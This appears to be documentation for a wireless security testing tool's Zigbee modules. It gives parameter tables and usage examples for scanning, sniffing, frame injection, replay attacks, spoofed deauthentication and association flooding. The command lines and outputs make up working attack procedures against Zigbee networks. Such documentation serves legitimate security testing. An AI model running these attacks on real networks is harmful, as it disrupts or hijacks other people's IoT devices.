List of Zigbee Modules

zigbee_info

Presentation

zigbee_info gets informations on a given Zigbee interface. It can also show the different capabilities of the interface (SHOW_CAPABILITIES parameter).

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rzusbstick0

rzusbstickX|<filename>.pcap

Interface to analyse

SHOW_CAPABILITIES

yes

yes|no

Indicates if the capabilities of the interface should be displayed

Output parameters

  • If the interface provided is rzusbstickX:

Name

Possible values

Description

INTERFACE

rzusbstickX

Selected interface

MODE

NORMAL | JAMMING

Mode currently in use in the selected interface

SERIAL

<hexadecimal>

Device’s serial number

FIRMWARE_VERSION

<string>

Device’s firmware version

INDEX

#X

Device’s index number

  • If the interface provided is <filename>.pcap:

Name

Possible values

Description

INTERFACE

<filename>.pcap

Selected interface

MODE

read | write

Mode in use

Usage

To get complete information about an interface, use the following command:

$ mirage zigbee_info
[INFO] Module zigbee_info loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
┌─────────────┬──────────────┬───────────────┬──────────────────┬────────┐
│ Interface   │ Device Index │ Serial number │ Firmware Version │ Mode   │
├─────────────┼──────────────┼───────────────┼──────────────────┼────────┤
│ rzusbstick0 │ #0           │ FFFFFFFFFFFF  │ KILLERB001       │ NORMAL │
└─────────────┴──────────────┴───────────────┴──────────────────┴────────┘
[INFO] Mirage process terminated !

zigbee_scan

Presentation

zigbee_scan scans the different zigbee channels to discover devices and PanIDs. It allows to configure the execution time (TIME parameter) along with the channels to scan (START_CHANNEL and END_CHANNEL parameters), and to select active or passive scanning (ACTIVE parameter).

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rzusbstick0

rzusbstickX

Interface to use

START_CHANNEL

11

<integer>

First targeted channel

END_CHANNEL

26

<integer>

Last targeted channel

TIME

10

<integer>

Execution time

ACTIVE

yes

<boolean>

Use active scanning

Output parameters

  • If no networks and no devices have been identified, then this module generates no output parameters.

  • If only one device is detected, the following output is produced:

Name

Possible values

Description

TARGET

<ZigBee address>

device’s address (if only one device detected)

TARGET_PANID

<hexadecimal, 2 bytes>

device’s panId (if only one device detected)

CHANNEL

<channel number>

device’s channel (if only one device detected)

  • If multiple networks and multiple devices are detected, the same output parameters are generated, but are suffixed by the number of the device :

Name

Possible values

Description

NETWORK_PANID1

<hexadecimal, 2 bytes>

1st detected network’s panID

NETWORK_CHANNEL1

<integer>

1st detected network’s channel

NETWORK_ASSOC_PERMIT1

<boolean>

1st detected network’s association acceptance

NETWORK_COORDINATOR1

<ZigBee address>

1st detected network’s coordinator

DEVICE_ADDR1

<ZigBee address>

1st detected device’s address

DEVICE_ROLE1

coordinator|end device|router

1st detected device’s role

DEVICE_CHANNEL1

<integer>

1st detected device’s channel

DEVICE_PANID1

<hexadecimal, 2 bytes>

1st detected device’s panID

NETWORK_PANID2

<hexadecimal, 2 bytes>

2nd detected network’s panID

NETWORK_CHANNEL2

<integer>

2nd detected network’s channel

NETWORK_ASSOC_PERMIT2

<boolean>

2nd detected network’s association acceptance

NETWORK_COORDINATOR2

<ZigBee address>

2nd detected network’s coordinator

DEVICE_ADDR2

<ZigBee address>

2nd detected device’s address

DEVICE_ROLE2

coordinator|end device|router

2nd detected device’s role

DEVICE_CHANNEL2

<integer>

2nd detected device’s channel

DEVICE_PANID2

<hexadecimal, 2 bytes>

2nd detected device’s panID

...

...

...

Usage

If you want to perform a passive scan, type the following command:

$ mirage zigbee_scan INTERFACE=rzusbstick0 TIME=20 ACTIVE=no
[INFO] Module zigbee_scan loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
┌────────┬─────────┬───────────────────────┬─────────────────┐
│ Pan ID │ Channel │ Association permitted │ Nodes           │
├────────┼─────────┼───────────────────────┼─────────────────┤
│ 0x3332 │ 12      │ unknown               │ 0x0000(unknown) │
└────────┴─────────┴───────────────────────┴─────────────────┘
[INFO] Mirage process terminated !

If you want to perform an active scan, type the following command:

$ sudo mirage zigbee_scan INTERFACE=rzusbstick0 TIME=20 ACTIVE=yes
[INFO] Module zigbee_scan loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
┌────────┬─────────┬───────────────────────┬─────────────────────┐
│ Pan ID │ Channel │ Association permitted │ Nodes               │
├────────┼─────────┼───────────────────────┼─────────────────────┤
│ 0x3332 │ 12      │ no                    │ 0x0000(coordinator) │
└────────┴─────────┴───────────────────────┴─────────────────────┘
[INFO] Mirage process terminated !

zigbee_inject

Presentation

zigbee_inject allows to inject Zigbee frames. It allows to configure the target by channel, PanID and address (respectively the CHANNEL, TARGET_PANID and TARGET parameters), along with the execution time (TIME parameter) and the PCAP (PCAP_FILE parameter) from which to take the capture.

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rzusbstick0

rzusbstickX

Interface to use

TARGET_PANID

<hexadecimal, 2 bytes>

Targeted PanID

CHANNEL

13

<integer>

Targeted channel

TARGET

<ZigBee address>

Targeted device

TIME

20

<integer>

Execution time

PCAP_FILE

<file path>

Capture file

Output parameters

This module doesn’t provide any output parameters.

Usage

Basic Usage

To inject a packet stream from a file, for example /tmp/capture.pcap, type the following command:

$ mirage zigbee_inject CHANNEL=12 TARGET_PANID=0x3332 PCAP_FILE=/tmp/capture.pcap
[INFO] Module zigbee_inject loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[SUCCESS] PCAP file successfully loaded (DLT : 195) !
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
^C[INFO] Mirage process terminated !

Performing a replay attack

You can also easily perform a replay attack by combining this module with zigbee_sniff :

$ mirage "zigbee_sniff|zigbee_inject" zigbee_sniff1.CHANNEL1=12 zigbee_sniff1.TARGET_PANID=0x3332 zigbee_sniff1.PCAP_FILE=/tmp/zigbeereplay.pcap zigbee_sniff1.TIME=5
[INFO] Module zigbee_sniff loaded !
[INFO] Module zigbee_inject loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[SUCCESS] PCAP file successfully loaded (DLT : 195) !
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f757212353d >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 0000000000000000426f6e6a6f75722028626973297031bb >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f7572128684 >>
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] PCAP file successfully loaded (DLT : 195) !
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
[...]

zigbee_sniff

Presentation

zigbee_sniff allows to passively sniffs ZigBee frames. It allows to configure the target by channel, PanID and address (respectively the CHANNEL, TARGET_PANID and TARGET parameters), along with the execution time (TIME parameter) and the optional PCAP file (PCAP_FILE parameter) in which the capture will be saved.

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rzusbstick0

rzusbstickX

Interface to use

TARGET_PANID

<hexadecimal, 2 bytes>

Targeted PanID

CHANNEL

13

<integer>

Targeted channel

TARGET

<ZigBee address>

Targeted device

TIME

20

<integer>

Execution time

PCAP_FILE

<file path>

Capture file

Output parameters

Name

Possible values

Description

INTERFACE

rzusbstickX

Interface used

CHANNEL

<integer>

Channel used

PCAP_FILE

<file path>

Capture file

Usage

Basic Usage

To sniff on a given channel and PanID, type the following command:

$ mirage zigbee_sniff CHANNEL=12 TARGET_PANID=0x3332
[INFO] Module zigbee_sniff loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f757212353d >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 0000000000000000426f6e6a6f75722028626973297031bb >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f7572128684 >>
^C[INFO] Mirage process terminated !

If you want to export the collected data to a PCAP file, uses the following command:

$ mirage zigbee_sniff CHANNEL=12 TARGET_PANID=0x3332 PCAP_FILE=/tmp/capture.pcap
[INFO] Module zigbee_sniff loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[SUCCESS] PCAP file successfully loaded (DLT : 195) !
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f757212353d >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 0000000000000000426f6e6a6f75722028626973297031bb >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f7572128684 >>
^C[INFO] Mirage process terminated !

Performing a replay attack

You can also easily perform a replay attack by combining this module with zigbee_inject :

$ mirage "zigbee_sniff|zigbee_inject" zigbee_sniff1.CHANNEL1=12 zigbee_sniff1.TARGET_PANID=0x3332 zigbee_sniff1.PCAP_FILE=/tmp/zigbeereplay.pcap zigbee_sniff1.TIME=5
[INFO] Module zigbee_sniff loaded !
[INFO] Module zigbee_inject loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[SUCCESS] PCAP file successfully loaded (DLT : 195) !
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f757212353d >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 0000000000000000426f6e6a6f75722028626973297031bb >>
[PACKET] [ CH:12|RSSI:-55dBm|LKI:255/255|CRC:OK ] << Zigbee - Application Data Packet | srcAddr = 0x0000 | destAddr = 0xFFFF | destPanID = 0x3332 | data = 00000000000000fffe0000426f6e6a6f7572128684 >>
[INFO] Extracting packet stream from PCAP ...
[SUCCESS] PCAP file successfully loaded (DLT : 195) !
[SUCCESS] Packet stream successfully extracted !
[INFO] Injecting ...
[...]

zigbee_deauth

Presentation

zigbee_deauth deauthenticates zigbee devices by sending repeatedly Disassociation Notifications. It allows to configure the targeted PanID (TARGET_PANID parameter), channel (CHANNEL parameter), the target device (TARGET parameter), the source address of the frames (SOURCE parameter) and the reason to put in the Disassociation Notifications (REASON parameter).

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rzusbstick0

rzusbstickX

Interface to use

TARGET_PANID

0x1234

<hexadecimal, 2 bytes>

Targeted PanID

CHANNEL

13

<integer>

Targeted channel

TARGET

<ZigBee device address>

Targeted device

SOURCE

<ZigBee device address>

Source address to use

REASON

1

<integer>

Disassociation reason ID

Output parameters

This module doesn’t provide any output parameters.

Usage

You can use this module to send packets to an end device by typing the following command:

$ mirage zigbee_deauth CHANNEL=12 TARGET_PANID=0x3332 TARGET=0x13A200403D57B7 SOURCE=0x13A200405DBCFB
[INFO] Module zigbee_deauth loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[INFO] PanID selected: 0x3332
[INFO] Target selected: 00:13:A2:00:40:3D:57:B7
[INFO] Source selected: 00:13:A2:00:40:5D:BC:FB
^C[INFO] Mirage process terminated !

By reversing the source and the target, you can also send packets to a coordingator with this command:

$ mirage zigbee_deauth CHANNEL=12 TARGET_PANID=0x3332 SOURCE=0x13A200403D57B7 TARGET=0x13A200405DBCFB
[INFO] Module zigbee_deauth loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[INFO] PanID selected: 0x3332
[INFO] Target selected: 00:13:A2:00:40:5D:BC:FB
[INFO] Source selected: 00:13:A2:00:40:3D:57:B7
^C[INFO] Mirage process terminated !

zigbee_floodassoc

Presentation

zigbee_floodassoc performs an association flooding attack. It allows to configure the targeted PanID (TARGET_PANID parameter), the targeted channel (CHANNEL parameter) and the targeted device (TARGET parameter).

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rzusbstick0

rzusbstickX

Interface to use

TARGET_PANID

0x1234

<hexadecimal, 2 bytes>

Targeted PanID

CHANNEL

13

<channel number>

Targeted channel

TARGET

<ZigBee address>

Targeted device

Output parameters

This module doesn’t provide any output parameters.

Usage

To perform an Association Flooding Attack, type the following command:

$ mirage zigbee_floodassoc CHANNEL=12 TARGET_PANID=0x3332 TARGET=0x13A200405DBCFB
[INFO] Module zigbee_floodassoc loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[INFO] PanID selected: 0x3332
[INFO] Coordinator selected: 00:13:A2:00:40:5D:BC:FB
[INFO] New address: 0xC854
[INFO] New address: 0xDCA1
[INFO] New address: 0xAB88
[INFO] New address: 0xFF61
[INFO] New address: 0x03F0
[INFO] New address: 0x0069
[INFO] New address: 0xB07E
[INFO] New address: 0x2004
^C[INFO] Mirage process terminated !